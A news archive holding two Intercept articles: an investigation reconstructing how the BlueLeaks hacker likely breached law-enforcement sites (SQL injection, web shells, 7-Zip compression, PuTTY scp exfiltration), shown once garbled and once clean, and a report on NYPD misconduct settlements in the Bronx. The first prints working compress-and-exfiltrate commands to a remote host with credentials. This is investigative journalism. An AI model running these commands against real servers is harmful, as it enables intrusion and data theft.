theintercept--2020-08-19--Law Enforcement Websites Hit by BlueLeaks May Have Been Easy to Hack

251 law enforcement websites and obtained the BlueLeaks trove of documents appears to have reused decades-old software for opening “ backdoors ” in web servers .
The use of the widely available backdoors provides evidence that the hacktivist who compromised the sensitive sites , including fusion centers linked to federal agencies , didn ’ t need to use sophisticated digital attack methods because the sites were not very secure .
The backdoors appear among files in the roughly 270-gigabyte BlueLeaks dump but seem to originate not from law enforcement entities , like most of the documents , but from the @ @ @ @ @ @ @ behind a few tools in the leaked data .
Other leaked files provide further clues about how the hacktivist operated .
Two of the files are a type of malware known as “ web shells ” : malicious files that , when placed on a server , provide an online entry point through which a hacker can download and upload files or issue commands of their choosing .
These backdoors appear with BlueLeaks material obtained from the website of the Arizona High Intensity Drug Trafficking Area , which is basically Arizona ’ s @ @ @ @ @ @ @ One is called “ ntdaddy.aspx ” and the other is “ blug.aspx.
” Their presence has implications for all the affected sites , which were operated by the same company and appear to have run the same software .
Two other files appear to have aided the exfiltration of documents from the servers .
The Arizona HIDTA files included a copy of a program for securely transferring files across the internet , which could have been used to move files onto a computer controlled by the hacker .
Files for another site , @ @ @ @ @ @ @ center , included a copy of a program for compressing files , which would make it much faster for the hacker to upload hundreds of gigabytes of data to their own computer .
All four of the files appear to be circumstantially linked to the hacker through their digital time stamps , which indicate they were created the evening of Saturday , June 6 —making them among the most recent data released in BlueLeaks .
Basically , this time likely corresponds to the moments before the hacktivist exfiltrated the data for this leak @ @ @ @ @ @ @ information about the identity of the hacker , how the hacker protected their anonymity , what infrastructure they used to exfiltrate data , or what vulnerability they exploited to initially hack these websites .
But they do indicate that , instead of developing custom malware , the hacker pulled off-the-shelf software easily available to anyone online and that anti-virus software flags as malicious .
The Arizona HIDTA and Minnesota ICEFISHX websites , as well as the rest of the hacked websites included in BlueLeaks , were built and hosted by the Texas web @ @ @ @ @ @ @ the same web application , hosted on Microsoft ’ s Windows operating system ; on Microsoft ’ s web server , Internet Information Services , or IIS ; and on a Microsoft web programming framework , ASP.NET .
The web app ’ s data is also stored using Microsoft software , in a database system known as Access .
For ICEFISHX , data lived in the file “ icefishx.mdb ” on its server .
The database included information about 6,120 registered users , the content of 3,151 bulk emails that the fusion center @ @ @ @ @ @ @ about hundreds of documents .
Arizona HIDTA ’ s data was in a file called ” azhidta.mdb ” and , among other things , included metadata describing thousands of items like laptops , furniture , and surveillance body wires in the HIDTA ’ s inventory .
BlueLeaks contains a separate folder for each hacked website .
The files for the Arizona HIDTA website include what appears to be the original source code for the website , written in ASP.NET , along with the malicious web shells , “ ntdaddy.aspx ” and “ blug.aspx @ @ @ @ @ @ @ JavaScript files , and other files that make up the code of Netsential ’ s web app .
It also includes all of the PDFs and Microsoft Office documents that were uploaded into the web app .
While it does not directly include “ azhidta.mdb , ” the Access database , it does include references to the database , along with 220 spreadsheets , each one representing a table — that is , a collection of related , structured data — exported from the database .
( This is true for most of @ @ @ @ @ @ @ , though some don ’ t contain all of the web app ’ s source code . )
According to historical domain name records , on July 17 , almost a month after the hack was made public , Arizona HIDTA migrated their website away from Netsential ’ s Houston server and into the website hosting service Squarespace .
ICEFISHX still uses Netsential ’ s web application .
( Netsential stated on its website that it was not responding to requests for comment from the press .
It did not respond to a @ @ @ @ @ @ @ is no legitimate reason for the “ ntdaddy.aspx ” and “ blug.aspx ” web shells to exist among Arizona HIDTA ’ s files — these were definitely traces left over from a hack — but it ’ s not clear exactly how they got onto the server to begin with .
What was the initial attack vector used to compromise the server ?
I couldn ’ t find any direct evidence ; there ’ s no mention of “ ntdaddy ” in log files , for example .
But my best guess is @ @ @ @ @ @ @ using a type of web hacking called “ SQL injection , ” in which an attacker is able to modify the instructions sent to the database powering a website .
The Open Web Application Security Project , a nonprofit dedicated to improving the security of web software , puts injection attacks at the top of its list of security risks for web applications .
SQL , short for Structured Query Language , is used by programmers to read and update many types of databases , including the Microsoft Access databases used by all @ @ @ @ @ @ @ dump .
A SQL injection attack is when a hacker is able to “ inject ” their own SQL code inside a query , tricking the database into responding with different information or different actions than the website programmer intended .
This is typically accomplished by visiting a maliciously devised web address or submitting specially crafted information into a web form and exploiting a flaw in how the website creates SQL queries to obtain particular information on behalf of particular users .
On a badly configured web server , it would be possible @ @ @ @ @ @ @ ) for a hacker who has discovered a SQL injection vulnerability to create new files on the server and fill them with whatever information they want , such as code that makes up a web shell .
The best way to write software that isn ’ t vulnerable to SQL injection is to use a technique called prepared statements .
Based on my analysis of the web app ’ s source code , Netsential ’ s web app ( as it existed in the leaked files ) does not use this technique .
@ @ @ @ @ @ @ determines ahead of time which part of a SQL query will change in response to the user and which part will always remain the same .
Instead , the Arizona HIDTA ’ s website source code , as well as the code from the rest of the hacked website in BlueLeaks , builds its SQL queries in an insecure way : only trying to mitigate SQL injection using a poorly implemented and error-prone technique known as “ escaping , ” which attempts to essentially neutralize malicious user input before using that input to @ @ @ @ @ @ @ is to use a “ safe API ” for interfacing with the database .
Netsential ’ s web app doesn ’ t appear to do this either ; every time it needs to interface with the database , the code executes a SQL query directly .
Because of this , it ’ s likely that Netsential ’ s web app has SQL injection vulnerabilities .
To be clear , I haven ’ t discovered any myself .
But the fact that the web app uses such bad security practices around SQL , and @ @ @ @ @ @ @ code where a SQL query gets executed , I think that it ’ s probable that mistakes were made in at least some of these places .
And , unless Netsential has fixed these potential vulnerabilities since the BlueLeaks data was made public and pushed updates to all of the websites still running its code , it ’ s likely that these law enforcement websites , including major police fusion centers in use today , are still vulnerable to SQL injection .
I wanted to see what these web shells could do , @ @ @ @ @ @ @ machine , installed an IIS web server , and copied both the ntdaddy.aspx and blug.aspx files from the Arizona HIDTA website into it .
I also disabled the built-in Windows virus and threat protection ; otherwise , Windows blocks both of these web shells from executing .
The “ NTDaddy ” web shell was first developed at least 18 years ago by a hacker named “ obzerve ” who worked with the hacker group fux0r inc.
It ’ s widely available , including in this GitHub repository containing a collection of web malware @ @ @ @ @ @ @ on VirusTotal , 36 out of 59 anti-virus programs flag it as malicious , generally classifying it as a web server backdoor .
But unlike NTDaddy , ASPX Shell works much better because it uses ASP.NET , not classic ASP ( the malware itself was written in the C # programming language ) .
It allows you to browse the file system , upload files , and run commands as if you were sitting in front of the Windows server with a command prompt open .
Basically , it allows you to do @ @ @ @ @ @ @ Windows server has permission to do , including access all of the data related to the website .
However , when I try uploading a file to the folder where website files are stored ( in my case , C : \inetpub\wwwdata ) , I get an unauthorized access error ; perhaps my IIS server in Windows 10 Pro is more securely configured than Netsential ’ s servers .
To more accurately replicate the Netsential servers , I reduced the permissions on that folder to allow my IIS user to save new files @ @ @ @ @ @ @ shells , two open-source Windows tools were included with the BlueLeaks files , both with June 6 time stamps : • ICEFISHX ’ s folder has a file called 7z.exe , a copy of the popular file compression and extraction program 7-Zip .
• Arizona HIDTA ’ s folder has a file called pscp64.exe , a program that comes with PuTTY , a popular Windows tool for securely logging into and copying files to remote servers , typically those running the Linux operating system .
Using ASPX Shell , a hacker could run @ @ @ @ @ @ @ they wished to exfiltrate , and then use PuTTY to copy it to a remote server controlled by the hacker .
So I decided to try this .
In my first attempt at running 7z.exe , it gave me an error message saying that the file 7z.dll was missing .
Possibly , the hacker uploaded this DLL file as well , but for whatever reason did not end up including it in the BlueLeaks data .
So I downloaded a fresh copy of 7-Zip and grabbed the version of 7z.exe and 7z.dll from @ @ @ @ @ @ @ command in my web shell : This uses 7-Zip to create a new archive called police_data.7z , and it adds all of the files in the C : \inetpub folder to that archive .
Now that I ’ ve created police_data.7z , I could just download the archive using my web browser .
But instead I decided to try using PuTTY to exfiltrate the data to a remote server , which is what I ’ m guessing the BlueLeaks hacktivist did .
I created a new cloud server running Debian GNU/Linux with the @ @ @ @ @ @ @ server I created a new user called “ exfiltrator ” with the password “ 89qzR2Y8KbFj ” .
Then , in ASPX Shell , ( after a bit of troubleshooting ) I ran this command : This uses PuTTY ’ s secure copy ( SCP ) program to copy the police_data.7z file to my Debian server .
The command includes the username , password , and IP address of my server .
After running this command , a copy of the file was exfiltrated to my server .
( I ’ ve already deleted @ @ @ @ @ @ @ get any ideas . )
To recap , here ’ s how I believe these websites were hacked : • The hacktivist found a SQL injection vulnerability , and then used it to create a web shell .
• Using the web shell , they uploaded tools : 7-Zip and PuTTY .
• They used 7-Zip to compress all of the data they wanted to exfiltrate .
• They used PuTTY to copy this hacked data to a remote server they controlled .
To be clear , I ’ m not sure that @ @ @ @ @ @ @ did or not .
I have no inside knowledge ; this is just my best guess based on the available evidence .
And because all of these websites run Netsential ’ s custom , insecure web app code , this process would likely be the same to hack any of them .
In fact , it could even be automated to save time , allowing the hacker to compromise all 251 websites and exfiltrate all of the data from them in a single Saturday evening .
For the record : I ’ m @ @ @ @ @ @ @ collective that received the BlueLeaks data — from a source identifying with the hacktivist collective Anonymous — and then published it .

Whoever broke into 251 law enforcement websites and obtained the BlueLeaks trove of documents appears to have reused decades-old software for opening “backdoors” in web servers.
The use of the widely available backdoors provides evidence that the hacktivist who compromised the sensitive sites, including fusion centers linked to federal agencies, didn’t need to use sophisticated digital attack methods because the sites were not very secure.
The backdoors appear among files in the roughly 270-gigabyte BlueLeaks dump but seem to originate not from law enforcement entities, like most of the documents, but from the hacker, who appears to have left behind a few tools in the leaked data. Other leaked files provide further clues about how the hacktivist operated.
Two of the files are a type of malware known as “web shells”: malicious files that, when placed on a server, provide an online entry point through which a hacker can download and upload files or issue commands of their choosing. These backdoors appear with BlueLeaks material obtained from the website of the Arizona High Intensity Drug Trafficking Area, which is basically Arizona’s fusion center for the drug war. One is called “ntdaddy.aspx” and the other is “blug.aspx.” Their presence has implications for all the affected sites, which were operated by the same company and appear to have run the same software.
Two other files appear to have aided the exfiltration of documents from the servers. The Arizona HIDTA files included a copy of a program for securely transferring files across the internet, which could have been used to move files onto a computer controlled by the hacker. Files for another site, ICEFISHX, Minnesota’s police fusion center, included a copy of a program for compressing files, which would make it much faster for the hacker to upload hundreds of gigabytes of data to their own computer.
All four of the files appear to be circumstantially linked to the hacker through their digital time stamps, which indicate they were created the evening of Saturday, June 6 —making them among the most recent data released in BlueLeaks. Basically, this time likely corresponds to the moments before the hacktivist exfiltrated the data for this leak.
The files do not provide any information about the identity of the hacker, how the hacker protected their anonymity, what infrastructure they used to exfiltrate data, or what vulnerability they exploited to initially hack these websites. But they do indicate that, instead of developing custom malware, the hacker pulled off-the-shelf software easily available to anyone online and that anti-virus software flags as malicious.
The BlueLeaks Data
The Arizona HIDTA and Minnesota ICEFISHX websites, as well as the rest of the hacked websites included in BlueLeaks, were built and hosted by the Texas web development firm Netsential. They all run the same web application, hosted on Microsoft’s Windows operating system; on Microsoft’s web server, Internet Information Services, or IIS; and on a Microsoft web programming framework, ASP.NET.
The web app’s data is also stored using Microsoft software, in a database system known as Access. For ICEFISHX, data lived in the file “icefishx.mdb” on its server. The database included information about 6,120 registered users, the content of 3,151 bulk emails that the fusion center sent out, as well as metadata about hundreds of documents. Arizona HIDTA’s data was in a file called ”azhidta.mdb” and, among other things, included metadata describing thousands of items like laptops, furniture, and surveillance body wires in the HIDTA’s inventory.
BlueLeaks contains a separate folder for each hacked website. The files for the Arizona HIDTA website include what appears to be the original source code for the website, written in ASP.NET, along with the malicious web shells, “ntdaddy.aspx” and “blug.aspx,” as well as images, JavaScript files, and other files that make up the code of Netsential’s web app. It also includes all of the PDFs and Microsoft Office documents that were uploaded into the web app. While it does not directly include “azhidta.mdb,” the Access database, it does include references to the database, along with 220 spreadsheets, each one representing a table — that is, a collection of related, structured data — exported from the database. (This is true for most of the other hacked websites included in BlueLeaks, though some don’t contain all of the web app’s source code.)
According to historical domain name records, on July 17, almost a month after the hack was made public, Arizona HIDTA migrated their website away from Netsential’s Houston server and into the website hosting service Squarespace. ICEFISHX still uses Netsential’s web application. (Netsential stated on its website that it was not responding to requests for comment from the press. It did not respond to a message from The Intercept.)
SQL Injection
There is no legitimate reason for the “ntdaddy.aspx” and “blug.aspx” web shells to exist among Arizona HIDTA’s files — these were definitely traces left over from a hack — but it’s not clear exactly how they got onto the server to begin with. What was the initial attack vector used to compromise the server? I couldn’t find any direct evidence; there’s no mention of “ntdaddy” in log files, for example. But my best guess is that the hacker added the web shells using a type of web hacking called “SQL injection,” in which an attacker is able to modify the instructions sent to the database powering a website.
The Open Web Application Security Project, a nonprofit dedicated to improving the security of web software, puts injection attacks at the top of its list of security risks for web applications. SQL, short for Structured Query Language, is used by programmers to read and update many types of databases, including the Microsoft Access databases used by all of the hacked websites in the BlueLeaks dump. A SQL injection attack is when a hacker is able to “inject” their own SQL code inside a query, tricking the database into responding with different information or different actions than the website programmer intended. This is typically accomplished by visiting a maliciously devised web address or submitting specially crafted information into a web form and exploiting a flaw in how the website creates SQL queries to obtain particular information on behalf of particular users. On a badly configured web server, it would be possible (using the Access SQL query SELECT.INTO) for a hacker who has discovered a SQL injection vulnerability to create new files on the server and fill them with whatever information they want, such as code that makes up a web shell.
The best way to write software that isn’t vulnerable to SQL injection is to use a technique called prepared statements. Based on my analysis of the web app’s source code, Netsential’s web app (as it existed in the leaked files) does not use this technique. With prepared statements, the programmer narrowly determines ahead of time which part of a SQL query will change in response to the user and which part will always remain the same. Instead, the Arizona HIDTA’s website source code, as well as the code from the rest of the hacked website in BlueLeaks, builds its SQL queries in an insecure way: only trying to mitigate SQL injection using a poorly implemented and error-prone technique known as “escaping,” which attempts to essentially neutralize malicious user input before using that input to build SQL queries. Another best practice is to use a “safe API” for interfacing with the database. Netsential’s web app doesn’t appear to do this either; every time it needs to interface with the database, the code executes a SQL query directly.
Because of this, it’s likely that Netsential’s web app has SQL injection vulnerabilities. To be clear, I haven’t discovered any myself. But the fact that the web app uses such bad security practices around SQL, and that I counted 1,931 places in the code where a SQL query gets executed, I think that it’s probable that mistakes were made in at least some of these places.
And, unless Netsential has fixed these potential vulnerabilities since the BlueLeaks data was made public and pushed updates to all of the websites still running its code, it’s likely that these law enforcement websites, including major police fusion centers in use today, are still vulnerable to SQL injection.
Web Shells
I wanted to see what these web shells could do, so I set up a Windows virtual machine, installed an IIS web server, and copied both the ntdaddy.aspx and blug.aspx files from the Arizona HIDTA website into it. I also disabled the built-in Windows virus and threat protection; otherwise, Windows blocks both of these web shells from executing.
The “NTDaddy” web shell was first developed at least 18 years ago by a hacker named “obzerve” who worked with the hacker group fux0r inc. It’s widely available, including in this GitHub repository containing a collection of web malware. If you scan the ntdaddy.aspx file on VirusTotal, 36 out of 59 anti-virus programs flag it as malicious, generally classifying it as a web server backdoor.
Screenshot: Micah Lee
But while testing out this web shell, I hit a problem. NTDaddy was coded in a language called classic ASP, Microsoft’s first server-side scripting language from 1996. Classic ASP files end in “.asp,” like ntdaddy.asp. In 2002, Microsoft released a more modern web application framework called ASP.NET, making classic ASP obsolete. ASP.NET files end in “.aspx,” like ntdaddy.aspx. Even though NTDaddy was coded in classic ASP, its filename on the Arizona HIDTA website used an ASP.NET filename: ntdaddy.aspx.
When I load ntdaddy.aspx in a browser, it responds with an error, which is to be expected because it’s trying to run a classic ASP code as if it were ASP.NET code.
Screenshot: Micah Lee
It’s likely that the Arizona HIDTA’s IIS server wasn’t configured to execute classic ASP code at all, that this web shell simply didn’t work, and that the hacker didn’t bother deleting this file.
If I rename the file to ntdaddy.asp and load it in a browser, I can then explore the files on the server, upload new files, or issue commands:
Screenshot: Micah Lee
The blug.aspx file contained a web shell simply called “ASPX Shell,” developed in 2007 by a hacker called “LT” — only the version on Arizona HIDTA’s website didn’t include the comment at the top of the file that gives LT credit, and lists the 2007 date.
Screenshot: Micah Lee
Like NTDaddy, ASPX Shell is widely available and can be found in that GitHub repository. If you scan blug.aspx in VirusTotal, 15 out of 59 anti-virus programs flag it as malicious, generally classifying it as a web server backdoor.
Screenshot: Micah Lee
But unlike NTDaddy, ASPX Shell works much better because it uses ASP.NET, not classic ASP (the malware itself was written in the C# programming language). It allows you to browse the file system, upload files, and run commands as if you were sitting in front of the Windows server with a command prompt open. Basically, it allows you to do anything that the IIS user on the Windows server has permission to do, including access all of the data related to the website.
However, when I try uploading a file to the folder where website files are stored (in my case, C:\inetpub\wwwdata), I get an unauthorized access error; perhaps my IIS server in Windows 10 Pro is more securely configured than Netsential’s servers. To more accurately replicate the Netsential servers, I reduced the permissions on that folder to allow my IIS user to save new files there.
Compression and Exfiltration
In addition to the web shells, two open-source Windows tools were included with the BlueLeaks files, both with June 6 time stamps:
ICEFISHX’s folder has a file called 7z.exe, a copy of the popular file compression and extraction program 7-Zip.
Arizona HIDTA’s folder has a file called pscp64.exe, a program that comes with PuTTY, a popular Windows tool for securely logging into and copying files to remote servers, typically those running the Linux operating system.
Using ASPX Shell, a hacker could run 7-Zip to compress all of the data they wished to exfiltrate, and then use PuTTY to copy it to a remote server controlled by the hacker.
So I decided to try this. In my first attempt at running 7z.exe, it gave me an error message saying that the file 7z.dll was missing. Possibly, the hacker uploaded this DLL file as well, but for whatever reason did not end up including it in the BlueLeaks data. So I downloaded a fresh copy of 7-Zip and grabbed the version of 7z.exe and 7z.dll from there. Then, I ran this command in my web shell:
7z.exe a police_data.7z c:\inetpub
This uses 7-Zip to create a new archive called police_data.7z, and it adds all of the files in the C:\inetpub folder to that archive.
Screenshot: Micah Lee
Now that I’ve created police_data.7z, I could just download the archive using my web browser. But instead I decided to try using PuTTY to exfiltrate the data to a remote server, which is what I’m guessing the BlueLeaks hacktivist did.
I created a new cloud server running Debian GNU/Linux with the IP address 159.89.55.248, and on that server I created a new user called “exfiltrator” with the password “89qzR2Y8KbFj”. Then, in ASPX Shell, (after a bit of troubleshooting) I ran this command:
pscp64.exe -batch -hostkey 05:d3:9a:ce:59:e6:28:e4:17:2c:da:69:22:53:04:14 -pw 89qzR2Y8KbFj police_data.7z exfiltrator@159.89.55.248:police_data.7z
This uses PuTTY’s secure copy (SCP) program to copy the police_data.7z file to my Debian server. The command includes the username, password, and IP address of my server. After running this command, a copy of the file was exfiltrated to my server. (I’ve already deleted that cloud server, in case you get any ideas.)
Hacking 251 Websites
To recap, here’s how I believe these websites were hacked:
The hacktivist found a SQL injection vulnerability, and then used it to create a web shell.
Using the web shell, they uploaded tools: 7-Zip and PuTTY.
They used 7-Zip to compress all of the data they wanted to exfiltrate.
They used PuTTY to copy this hacked data to a remote server they controlled.
To be clear, I’m not sure that this is what the BlueLeaks hacker actually did or not. I have no inside knowledge; this is just my best guess based on the available evidence.
And because all of these websites run Netsential’s custom, insecure web app code, this process would likely be the same to hack any of them. In fact, it could even be automated to save time, allowing the hacker to compromise all 251 websites and exfiltrate all of the data from them in a single Saturday evening.
For the record: I’m an adviser for DDoSecrets, the transparency collective that received the BlueLeaks data — from a source identifying with the hacktivist collective Anonymous — and then published it.


theintercept--2020-08-19--Lawsuits Show the High Cost of NYPD Abuse in the Bronx

was tired .
Tired of being a victim , tired of being harassed , tired of fearing for her life .
She ’ d had enough .
And so , in the fall of 2019 , the 33-year-old Bronx resident sued her neighborhood bullies — who happened to be New York City police officers .
A year and a half earlier , on a spring afternoon , she was walking along Morris Avenue in the Fordham area on her way to pick up her son from school .
Two narcotics officers suddenly approached , demanding to see her hands .
@ @ @ @ @ @ @ , frisked her , and put her into a waiting police van .
She remembers panicking to the point of hyperventilating because no one would tell her what was happening .
Several months pregnant , she was dizzy and dehydrated by the time they unloaded her at the 46th Precinct , but officers ignored her when she pleaded for medical attention .
Instead , she was subjected to a full-body cavity search .
“ I didn ’ t even know what that was and had to have an officer explain it to me @ @ @ @ @ @ @ this spring .
Hours passed before Gonzalez learned the charges were for possession and sale of a controlled substance — a “ handshake ” transaction that an undercover officer alleged to have spotted minutes before the arrest occurred .
Given that she neither did drugs nor sold them , she was shocked when police sent her to Central Booking , where she would remain for two more days “ caged like an animal , ” she said .
Four months and numerous court appearances later , the criminal case against her was dismissed @ @ @ @ @ @ @ she recalled .
“ I wouldn ’ t wish that on my worst enemy.
” While killings by police attract significant public attention , a steady tide of nonfatal but abusive police encounters , often involving the same officers year after year , pile up in state and federal court dockets .
They reveal disdain for fundamental civil liberties and cost millions of public dollars .
The Bronx is full of people with no charges against them who the city has paid because they ’ ve been abused by police .
The anger @ @ @ @ @ @ @ police brutality this summer is grounded in a history of poisoned encounters and deep impunity .
An examination of settlements against the NYPD in the Bronx reveals a pattern of routine violence and harassment : false arrests , warrantless searches , frequent use of strip searches , denial of medical attention , physical abuse , lewd conduct , and arrests without probable cause .
In almost all cases , the criminal charges precipitating the arrests were dropped .
The detectives named in Gonzalez ’ s still-pending lawsuit against the city , Jodi Brown @ @ @ @ @ @ @ a taxpayer tab of at least $ 1.3 million in city payouts .
The lawsuit was Brown ’ s fourth in 2019 , and Humphrey ’ s third between May and November 2019 .
In fact , Brown is one of New York ’ s most frequently sued cops , the subject of at least 30 lawsuits .
He ’ s hardly alone .
Month in , month out , year after year , the city settles cases involving routine police brutality and misconduct over incidents that never become major news .
The @ @ @ @ @ @ @ again .
In the Bronx , city data shows that nearly 190 cops were named in at least five lawsuits between 2015 and 2019 , and 11 others have been the subject of over 10 civil claims each .
The settlement amounts aren ’ t headline-grabbing — $ 9,000 here , $ 40,000 there — but they add up .
Public records show that New York City paid out more than $ 30 million in 2019 to plaintiffs in the Bronx who filed their cases alleging police misconduct between 2015 and 2019 .
@ @ @ @ @ @ @ approximately $ 67 million city taxpayers shelled out to cover such complaints against cops citywide that year .
Overall , for lawsuits filed between the latter half of 2015 and first half of 2020 , taxpayers paid out nearly nearly $ 250 million to people in all five boroughs .
These figures don ’ t even account for the full magnitude of the cost of allegations of mistreatment by the NYPD , thanks to the opaque way the city reports these numbers .
New York City ’ s Law Department releases the data @ @ @ @ @ @ @ filed in a given five-year period .
Earlier claims may also have settled during that time , but they don ’ t show up in the data .
The data also does not include settlements reached without going to court .
According to the Comptroller ’ s Office , the city paid $ 21.8 million in prelitigation settlements on police misconduct claims in fiscal year 2019 alone .
These are the findings of an investigation by Lehman College journalism students , including the authors of this piece , who spent the spring digging @ @ @ @ @ @ @ state court system , data released under a Freedom of Information Act request , a database of federal lawsuits constructed by the Legal Aid Society , and calling plaintiffs and attorneys .
The investigation focused on the Bronx , but similar cases play out in each of the boroughs .
“ The NYPD has a robust civil lawsuit monitoring program that includes a serious legal review of an officers ’ litigation history , ” Sgt .
Jessica McRorie , an NYPD spokesperson , wrote in an email .
“ Not all lawsuits filed @ @ @ @ @ @ @ ones that do can be valuable tools we use to improve officer performance and enhance training or policy where necessary.
” For advocates , however , the repeat payouts show a complete lack of consequences .
“ It ’ s no surprise that so many of them are repeatedly accused of excessive force or covering up a false arrest .
The first time they do it , they ’ re not held accountable , so they do it again , ” said Darius Charney , an attorney at the Center for Constitutional Rights @ @ @ @ @ @ @ NYPD officers smashed through the front door of an apartment in the Fordham neighborhood in the West Bronx .
Charging into the first bedroom , they trained guns and flashlights on its shocked occupant — a frail woman in her mid-50s — and ordered her to “ get the fuck on the floor.
” That woman , Luz Arbelaez , had lived on that floor for 23 years .
It was where she ’ d raised four children after fleeing political violence in Colombia , and it was where she ’ d done @ @ @ @ @ @ @ trouble despite the gang activity plaguing their neighborhood .
Now grown , three of her kids had recently moved back home to care for their mother after she was hit by a car earlier in the year .
None of this , however , mattered to the officers growing impatient as Arbelaez struggled to get out of bed .
According to a complaint the family filed in court , one of the officers grabbed her by the arm and dragged her into the living room and exclaimed , “ Make way for the @ @ @ @ @ @ @ , her daughter Deborah was ordered out of bed wearing nothing but a T-shirt , Deborah said in the complaint .
Two officers made rude , leering comments while she scrambled to find her underwear .
Then she was handcuffed next to her mother in the living room , sobbing uncontrollably .
According to the complaint , Luz ’ s sons Sebastian and Pablo were similarly accosted , cuffed , and shoved face-down on the floor while detectives ransacked their room , demanding to know where the drugs were hidden .
After their @ @ @ @ @ @ @ down , both young men were aggressively strip-searched in front of a bare window .
While the family sat for two hours in the front room enduring ridicule and threats , Sebastian and Pablo ’ s clothing was yanked from the closet and bureaus , dumped in a pile , and doused with bleach and cornstarch .
When Luz began to show signs of medical distress , shaking and appearing faint , Sebastian pleaded with officers to get his mother ’ s seizure medication .
Luz was only allowed to take the pills @ @ @ @ @ @ @ , she started falling off the couch .
Police said the raid was based on a tip about drug dealing in the apartment , but in the end , according to court documents , it turned up nothing .
Yet Luz , Sebastian , and Pablo were all arrested and marched into a waiting police van .
Unsecured and still handcuffed , the family says they were jostled and thrown about as the vehicle was driven to the location of other raids before arriving at the 48th Precinct , where Luz was searched @ @ @ @ @ @ @ ; her sons were sent to Central Booking .
They spent approximately 20 hours in custody .
All of the charges were eventually dismissed .
There was no evidence of illegal activity found in the family ’ s apartment .
Four years later , this past January , the city of New York agreed to settle the Arbelaezes ’ civil rights lawsuit , although the family says most of the money was eaten up by legal fees .
Attorney Marc Cannan , who represented the family through two years of litigation and delays @ @ @ @ @ @ @ ” describing it as one of the most shocking cases he ’ s handled due to the “ sheer nastiness ” of the cops ’ behavior .
Sebastian Arbelaez , now 32 , said he still startles awake around 5 a.m. every morning , instinctively listening for the sounds of cops creeping into his building .
“ When you live in a neighborhood like mine and hear your door being kicked down at some crazy hour , you just assume it must be criminals breaking in , ” he said , “ not @ @ @ @ @ @ @ be protecting you from that kind of stuff.
” But similar incidents have played out in many other settlements .
In another 2015 raid , officers handcuffed Dahiana Capellan in her underwear and went through her phone , laughing and making lewd remarks .
They found a gun in another bedroom in the apartment and arrested her ; she spent nearly 43 hours in custody before being released on bail .
After a few months , the case was dismissed , and two years later the city of New York paid her $ @ @ @ @ @ @ @ with the city for $ 9,000 in December 2017 , was denied his seizure medicine when officers arrested him after he recorded a plainclothes police officer speeding in the wrong direction on a Bronx street .
He was held for approximately 32 hours before a judge released him .
About an hour after his release , he had a seizure .
In many of these cases , the city admits no wrongdoing on the part of the police — a standard feature of such settlements .
As much as the city is spending @ @ @ @ @ @ @ , City Hall sees the situation as an improvement .
“ Over the last several years , we ’ ve seen a reduction in the number of lawsuits brought against officers , ” said Law Department spokesperson Nicholas Paolucci .
According to Paolucci , some of the downward trend in civil claims since 2017 is a result of the department ’ s partnership with the NYPD on litigation matters in recent years , which has led to “ improved fact-finding , filing more motions to dismiss , ” and lower settlement amounts , @ @ @ @ @ @ @ say the city still has a significant problem .
“ We are hemorrhaging money from the cost of these lawsuits , ” said civil rights attorney Juan Cartagena , president of LatinoJustice PRLDEF .
“ We ’ re talking multiple millions spent every year on police misconduct , and a lot of it ’ s the same cops repeating the same offenses — and no one ’ s doing anything about it.
” Early on in his administration , Mayor Bill de Blasio made it a mission to get a handle on the @ @ @ @ @ @ @ In 2015 , he promised to allocate additional funding to the Law Department to defend police officers against “ frivolous ” lawsuits .
The city ’ s budget for fiscal year 2016 included $ 3.2 million in funding for this purpose , enough to hire 40 more people , tasked with fending off meritless claims and helping the unit take more cases to trial .
Attorney Samuel DePaola , who is representing Shakeima Gonzalez and has handled dozens of other similar cases , finds the city ’ s claim about frivolous lawsuits laughable @ @ @ @ @ @ @ the Kings County District Attorney ’ s Office from 2011 to 2014 , DePaola said it ’ s the city that chooses to settle with his clients before they go to trial , adding that he ’ d be happy to meet them in court .
“ I ’ ll take my chances going up against the work of these officers any day of the week , ” he said .
Attorneys who battle the Law Department say that the city ’ s lawyers are often in the dark about what really happened @ @ @ @ @ @ @ to wait for discovery materials from the NYPD , which often reveal officers ’ underlying conduct to be more egregious than they initially anticipated .
For DePaola , turning over those stones again and again has revealed some root causes of misbehavior within the police force ’ s ranks .
There is an incentive to be aggressive with arrests , he said , because the most “ active ” officers are also the most rewarded .
“ They ’ re getting raises basically based on the amount of arrests they make , regardless @ @ @ @ @ @ @ , ’ ” he said .
“ These officers have so little supervision , no oversight , no accountability — it ’ s their own heart of darkness in the NYPD .
They do whatever they want.
” Jennvine Wong , a staff attorney with the Legal Aid Society ’ s Cop Accountability Project , said that there is a culture of covering up for bad behavior .
“ If it ’ s known that a particular officer at a precinct has five lawsuits pending , they ’ re not going to stage @ @ @ @ @ @ @ going to do is assign his next bad arrest to a different officer , ” she said .
Transparency about police behavior is key to accountability , Wong said , and New York took a step in that direction in June when Gov .
Andrew Cuomo repealed 50-a , a law that had shielded police officers ’ disciplinary records from examination .
The NYPD police union has fought the repeal in court , and a federal judge has issued a temporary restraining order preventing the city from releasing information .
ProPublica , however @ @ @ @ @ @ @ ’ complaints to the Civilian Complaint Review Board obtained thanks to the repeal .
The accounts of abuse by officers echo many found in lawsuits against the city .
Charney , of the Center for Constitutional Rights , was lead counsel in the landmark 2013 class-action suit that successfully challenged stop-and-frisk , the NYPD ’ s policy of aggressively stopping and searching young , mostly Black and brown men .
He said that it is frustrating that there hasn ’ t been more progress under de Blasio , given that his time in @ @ @ @ @ @ @ of the NYPD ’ s court-ordered reform process .
“ We ’ re just not seeing meaningful change of policing on the street , ” he said .
The idea that the city ended stop-and-frisk and turned a corner is an unfortunate misconception , according to Cartagena from LatinoJustice .
He said the practice still happens in the Bronx , along with a host of other discriminatory policing practices that lead to settlements each year .
“ It ’ s almost as if the cost of doing business is racial profiling and that @ @ @ @ @ @ @ is willing to tolerate , ” Cartagena said .
“ They seem to think that the money we pay out in damages , as taxpayers , is worth it .
But what they ’ re not accounting for is the other cost : a loss of confidence in the police and an erosion in police-community relations.
” That ’ s precisely how Shakeima Gonzalez feels .
In fact , her terror of local cops has steadily grown since taking them to court .
Last October , just weeks after she filed her lawsuit @ @ @ @ @ @ @ again — different officers , same deal .
While running midday errands , Gonzalez said she was stopped , frisked , assaulted , whisked into a police vehicle , and eventually shipped to Central Booking without being informed of her rights or the crime she ’ d allegedly committed .
This time , the District Attorney ’ s Office declined to prosecute her .
And this time , Gonzalez didn ’ t wait a year to file suit ; as of this month , she and DePaola , her attorney , have two @ @ @ @ @ @ @ phase in the Bronx Supreme Court .
